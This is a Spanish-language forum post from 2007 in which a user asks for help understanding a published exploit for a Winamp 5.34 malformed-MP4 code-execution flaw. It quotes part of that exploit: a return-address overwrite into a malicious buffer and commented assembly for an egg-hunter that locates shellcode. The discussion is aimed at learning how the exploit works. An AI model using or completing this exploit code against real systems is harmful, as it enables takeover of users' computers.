elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
14 Febrero 2012, 07:27  


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits (Moderador: berz3k)
| | |-+  winamp 5.34 code execution vuln..
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: winamp 5.34 code execution vuln..  (Leído 1,245 veces)
c3r0x

Desconectado Desconectado

Mensajes: 42


Ver Perfil
winamp 5.34 code execution vuln..
« en: 18 Junio 2007, 02:55 »

bueno no sabia como poner el asunto..resulta q estaba viendo un exploit en milw0rm sobre una vuln para el winamp...
resulta q si hacemos un archivo mp4 malformado podemos hacer un code execution y lo lograron aki pongo el exploit

http://milw0rm.com/exploits/3823

Código:
/*
Code execution is due to a call [eax] where we can control eax, and ecx points to a place
where we can write some instructions. But there is not enough space to put our shellcode.
So the following ret address is in Imagehlp. It points to 0x0108B6FF which is jmp ecx in Ieframe.
Change this to make it work on your box.
*/
memcpy(evilbuff+0x5522,"\x75\x14\xC5\x76",4);
/* As I said there's not enough space there for us but I've noticed another area that can hold our
shellcode. However it doesnt have a fixed location so we have to browse the data section to find it.
I've added a marker (DBCA) at the beginning of the code to find its place and the following code try
to locate it:

b:
mov eax, 41424344
dec ecx
mov edx, [ecx]
cmp edx, eax
je e
jmp b
e:
inc ecx, 4
jmp ecx
*/

como ven ahi esta mi duda no esta en el exploit si no la forma de como explota esta vuln..segun leo no entiendo muy bn (mi bajo inglies) pero entiendo lo q dice el autor.

segun podemos controlar el flujo de eax  y hacer  un call ecx donde podemos meter codigo..por lo tanto el dice q la sakemos de dll imagenhlp (supongo q varia en todos los windos)  y la remplacemos por  to 0x0108B6FF pero aún no entiendo por completo todo, estoy muy enrredado..si alguien sabe postear thanks:D

salu2
En línea
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines